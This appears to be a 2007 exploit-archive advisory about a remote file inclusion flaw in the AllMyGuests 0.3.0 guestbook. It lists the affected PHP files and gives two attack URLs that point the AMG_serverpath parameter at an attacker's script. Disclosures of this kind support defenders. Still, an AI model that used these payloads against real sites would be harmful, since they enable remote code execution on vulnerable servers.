[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : AllMyGuests <= 0.3.0 (AMG_serverpath) Remote Inclusion Vulnerabilities
# Published : 2007-01-07
# Author : beks
# Previous Title : L2J Statistik Script <= 0.09 (index.php page) Local File Include Exploit
# Next Title : Wordpress 2.0.5 Trackback UTF-7 Remote SQL Injection Exploit 


AllMyGuests 3.0 Remote File Inclusion Vulnerability

#Software: AllMyGuests

#Version: 3.0

#Download: http://download.php-resource.net/AllMyGuests/AllMyGuests0.3.0.zip

#Found By: beks

#Bug In:

/include/submit.inc.php
/admin/index.php
/include/cm_submit.inc.php
/comments.php
/index.php
/signin.php

#Risk: Medium

http://[target]/[AllMyGuests_Path]/comments.php?AMG_serverpath=[evil_script]
http://[target]/[AllMyGuests_Path]/signin.php?sent=1&AMG_serverpath=[evil_script]

# www.Syue.com [2007-01-07]